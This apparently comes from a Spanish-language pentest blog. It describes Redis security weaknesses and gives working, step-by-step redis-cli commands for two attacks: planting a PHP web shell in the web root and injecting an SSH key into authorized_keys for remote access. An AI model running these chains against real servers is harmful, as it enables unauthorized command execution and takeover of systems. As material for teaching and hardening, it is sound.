Redis Penetration Testing

Mi Foto

Puerto por default: 6379

Durante una auditoría de seguridad, es común identificar servicios expuestos que pueden revelar información sensible del sistema. Uno de estos es Redis, que, si está mal configurado, no solo permite el acceso no autorizado, sino que también puede ser explotado para lograr ejecución remota de comandos. Antes de proceder con pruebas más avanzadas sobre este servicio, es importante entender qué es Redis y cuáles son sus principales debilidades de seguridad.

Redis es un servidor de estructuras de datos de código abierto que funciona como una base de datos NoSQL en memoria, también puede ser usado como un sistema de caché o un broker de mensajes. Su nombre significa "Remote Dictionary Server". Redis almacena datos en memoria RAM, lo que le permite acceder a ellos a una velocidad muy alta.

Principales puntos débiles de Redis

Falta de autenticación por defecto

--------- > Redis, por diseño, no requiere contraseña por defecto.

--------- > Si está expuesto a internet, cualquiera puede conectarse al puerto 6379 y ejecutar comandos.

Exposicion a Internet

--------- > Redis no debe estar accesible desde fuera del host local.

--------- > Administradores descuidados dejan el puerto 6379 expuesto públicamente

Mala configuración del archivo redis.conf

No usar parámetros como:

--------- > bind 127.0.0.1

--------- > protected-mode yes

--------- > requirepass

Permitir CONFIG desde clientes sin autenticación permite cambiar la ruta y nombre del archivo de persistencia .rdb → escribir en el sistema de archivos, incluso shells o claves SSH.

Inyección de archivos maliciosos

Un atacante puede abusar de comandos como CONFIG, SET, y SAVE para escribir:

--------- > Web shells "si Redis puede escribir en /var/www/html"

--------- > Claves públicas en .ssh/authorized_keys

--------- > Crontabs o scripts en /etc

Ejecutarse como root

--------- > Redis no debe correr como root, pero en entornos mal configurados lo hace.

--------- > Esto puede dar acceso total al sistema con un ataque de archivo.

Falta de cifrado TLS/SSL

--------- > Por defecto, Redis no cifra el tráfico.

--------- > Permite sniffing de contraseñas y datos sensibles en tránsito si no se usa dentro de red segura o con TLS habilitado.

Autenticación débil o reutilización de contraseñas

--------- > Incluso cuando se configura requirepass, muchas veces se usan contraseñas triviales como redis, 123456, etc.

Uso de persistencia mal gestionado

--------- > Un atacante podría manipular los archivos persistentes de Redis si tiene acceso local, inyectando comandos para ejecutarse al reiniciar.

interactuar con redis

Puedes realizar enumeracion manual utilizando NMAP:

    sudo nmap --script "*redis*" -p6379 IP
                                

Una de las formas comunes para interactuar con redis es con la herramienta redis-cli, que se instala desde linux con el sigueinte comando:

    sudo apt install redis-tools
                                

En una instancia regular de Redis, puedes conectarte usando netcat o usar redis-cli:

    nc -vn 10.10.10.10 1234
    redis-cli -h 10.10.10.10
                                

Ahora que entendemos que es redis y como podemos interactual con el, vamos a pasar a la explotacion de Redis

Enumeración Manual de Redis


    PING # ¿responde?
    INFO # versión, OS, role, uptime
    INFO replication # ¿master / slave?
    CONFIG GET * # rutas, dir, dbfilename, requirepass
    AUTH [pass] # si hay pass filtrada
    INFO # Muestra informacion de Redis
    CLIENT LIST # clientes conectados
    DBSIZE # número de keys
    KEYS * # solo si DB pequeña
    SCAN 0 # enumeración segura
    GET [key] / HGETALL [key] # datos sensibles
    ACL LIST # permisos (Redis ≥6)
    COMMAND # comandos habilitados
    MODULE LIST # módulos cargados
    SAVE / BGSAVE # ¿permitido?
    SLAVEOF [IP] [PORT] # ¿bloqueado?
    CONFIG SET dir /tmp # ¿escribible?
    CONFIG SET dbfilename test.rdb # test escritura
                                

Redis Web Shell Injection

Redis, por defecto, no tiene autenticación y permite conexiones remotas si no está bien configurado. Este ataque abusa de la capacidad de Redis para escribir archivos en disco, y cambia la configuración del dbfilename y el dir para colocar un archivo PHP malicioso directamente en el document root del servidor web

Flujo del ataque


    $ redis-cli -h 10.10.10.10 flushall
    $ redis-cli -h 10.10.10.10 set pwn '<?php system($_REQUEST['cmd']); ?>'
    $ redis-cli -h 10.10.10.10 config set dbfilename shell.php
    $ redis-cli -h 10.10.10.10 config set dir /var/www/html
    $ redis-cli -h 10.10.10.10 save
                                

Una vez hecho esto, accediendo vía navegador a http://victima/shell.php?cmd=id por ejemplo, se logra ejecución remota de comandos.

Privilege Escalation via Redis Key Injection

Este ataque aprovecha una instancia de Redis mal configurada "sin autenticación y accesible desde la red" para escribir directamente en el archivo authorized_keys del usuario bajo el cual corre Redis "por defecto, normalmente es el usuario redis"

Flujo del ataque:

--------- > Se genera un par de claves SSH "key y key.pub"

--------- > Se prepara un archivo con la clave pública en el formato esperado por authorized_keys.

--------- > Se guarda el contenido en Redis como una nueva clave "set pwn"

--------- > Se configura Redis para guardar su base de datos "RDB" en:

dbfilename = authorized_keys

dir = /var/lib/redis/.ssh

Se fuerza a Redis a hacer un save, escribiendo su contenido "con la clave pública" en el archivo authorized_keys.


    $ ssh-keygen #enter + enter + enter + enter
    $ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
    $ redis-cli -h 10.10.10.10 flushall
    $ cat key.txt | redis-cli -h 10.10.10.10 -x set pwn
    $ redis-cli -h 10.10.10.10 config set dbfilename authorized_keys
    $ redis-cli -h 10.10.10.10 config set dir /var/lib/redis/.ssh
    $ redis-cli -h 10.10.10.10 save
                                

NOTA: El directorio del usuario dependera de la configuracion del servidor, prueba inyectar el archivo authorized_keys en /var/lib/redis/.ssh o en /root/.ssh

Una vez hecho esto, puedes realizar:


    ssh -i id_rsa redis/root@IP
                                

(Pwn3d!)

Fuente ---------- > HackTricks

Redes Sociales